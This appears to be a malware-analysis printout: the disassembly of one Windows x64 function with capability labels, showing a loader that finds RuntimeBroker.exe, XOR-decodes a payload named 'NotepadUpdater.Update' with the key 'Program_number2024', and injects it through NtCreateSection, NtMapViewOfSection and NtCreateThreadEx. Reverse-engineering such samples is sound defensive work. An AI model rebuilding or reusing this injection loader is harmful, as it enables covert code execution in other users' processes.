Function at 0x180001000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Enumerate processes
Execute shellcode via indirect call
Link many functions at runtime
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x360]
sub rsp, 0x460
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x350], rax
movzx eax, word [0x18001b8a0]
xor r14d, r14d
xorps xmm0, xmm0
mov word [rsp + 0x70], ax
movzx eax, byte [0x18001b8a2]
xor edx, edx
movdqu xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x80], r14
mov edi, r14d
movups xmmword [rbp - 0x20], xmm0
lea ecx, [rdx + 2]
mov dword [rbp - 0x40], 0x30
movups xmm0, xmmword [str.Program_number2024]
mov dword [rbp - 0x28], r14d
mov qword [rbp - 0x70], r14
movups xmmword [rsp + 0x60], xmm0
mov qword [rbp - 0x68], r14
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
mov byte [rsp + 0x72], al
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180001432
lea rdx, [rbp]
mov dword [rbp], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
mov rcx, rbx
test eax, eax
je 0x18000112e
lea rdx, [rbp]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x18000113c
nop word [rax + rax]
mov qword [rsp + 0x38], r14
lea rax, [rbp + 0x240]
mov qword [rsp + 0x30], r14
lea r8, [rbp + 0x2c]
mov dword [rsp + 0x28], 0x104
mov r9d, 0xffffffff
xor edx, edx
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rdx, str.RuntimeBroker.exe
lea rcx, [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x180001139
lea rdx, [rbp]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1800010d0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180001432
mov edi, dword [rbp + 8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x180001432
lea r8, [0x18001b888]
lea rdx, str.NotepadUpdater.Update
lea rcx, [rbp - 0x78]
call fcn.18000674c
test eax, eax
jne 0x180001432
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x180001432
xor edx, edx
mov qword [rsp + 0x470], rsi
lea r8d, [rax + 2]
call fcn.18000647c
mov rcx, qword [rbp - 0x78]
call fcn.180005fb8
movsxd rcx, eax
mov qword [rsp + 0x78], rcx
mov rcx, qword [rbp - 0x78]
call fcn.180006604
mov rcx, qword [rsp + 0x78]
call fcn.180006acc
mov r9, qword [rbp - 0x78]
mov r8d, 1
mov rdx, qword [rsp + 0x78]
mov rcx, rax
mov rbx, rax
call fcn.180006a04
mov rcx, qword [rbp - 0x78]
call fcn.180006174
lea rcx, str.NTDLL.DLL
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rsi, rax
test rax, rax
je 0x18000142a
lea rdx, str.NtOpenProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000142a
movsxd rcx, edi
lea r9, [rbp - 0x50]
mov qword [rbp - 0x50], rcx
lea r8, [rbp - 0x40]
lea rcx, [rbp - 0x80]
mov qword [rbp - 0x48], r14
mov edx, 0x10000000
call rax
cmp qword [rbp - 0x80], r14
je 0x18000142a
lea rdx, str.NtCreateSection
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000142a
mov qword [rsp + 0x30], r14
lea r9, [rsp + 0x78]
mov dword [rsp + 0x28], 0x8000000
lea rcx, [rbp - 0x70]
xor r8d, r8d
mov dword [rsp + 0x20], 0x40
mov edx, 0xf001f
call rax
lea rdx, str.NtMapViewOfSection
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x18000142a
mov rcx, qword [rsp + 0x78]
mov qword [rbp - 0x10], rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, qword [rbp - 0x70]
lea r8, [rbp - 0x68]
mov dword [rsp + 0x48], 4
mov rdx, rax
mov dword [rsp + 0x40], r14d
lea rax, [rbp - 0x10]
mov dword [rsp + 0x38], 2
xor r9d, r9d
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
call rdi
mov rax, qword [rsp + 0x78]
mov r9d, r14d
mov r8, qword [rbp - 0x68]
test rax, rax
je 0x180001328
mov rcx, r14
movabs r10, 0xe38e38e38e38e38f
nop
mov rax, r10
lea r8, [r8 + 1]
mul rcx
inc r9d
lea rbx, [rbx + 1]
shr rdx, 4
lea rax, [rdx + rdx*8]
add rax, rax
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x60]
xor al, byte [rbx - 1]
mov byte [r8 - 1], al
mov rax, qword [rsp + 0x78]
movsxd rcx, r9d
cmp rcx, rax
jb 0x1800012f0
mov rdx, qword [rbp - 0x80]
lea r8, [rbp - 0x60]
mov rcx, qword [rbp - 0x70]
xor r9d, r9d
mov dword [rsp + 0x48], 0x20
mov dword [rsp + 0x40], r14d
mov dword [rsp + 0x38], 2
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
call rdi
lea rdx, str.NtDelayExecution
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 8]
mov qword [rbp - 8], 0xfffffffffe363c80
mov rbx, rax
xor ecx, ecx
call rbx
lea rdx, str.NtCreateThreadEx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp - 0x60]
xor r8d, r8d
mov r9, qword [rbp - 0x80]
mov edx, 0x10000000
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x58]
call rax
cmp qword [rbp - 0x58], r14
je 0x18000142a
lea rdx, [rbp - 8]
xor ecx, ecx
call rbx
lea rdx, str.NtClose
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp - 0x70]
mov rdi, rax
call rdi
lea rdx, str.ZwUnmapViewOfSection
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [rbp - 0x68]
mov rcx, rax
call rbx
mov rdx, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x80]
call rbx
mov rcx, qword [rbp - 0x80]
call rdi
mov rsi, qword [rsp + 0x470]
mov rcx, qword [rbp + 0x350]
xor rcx, rsp
call fcn.180001490
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret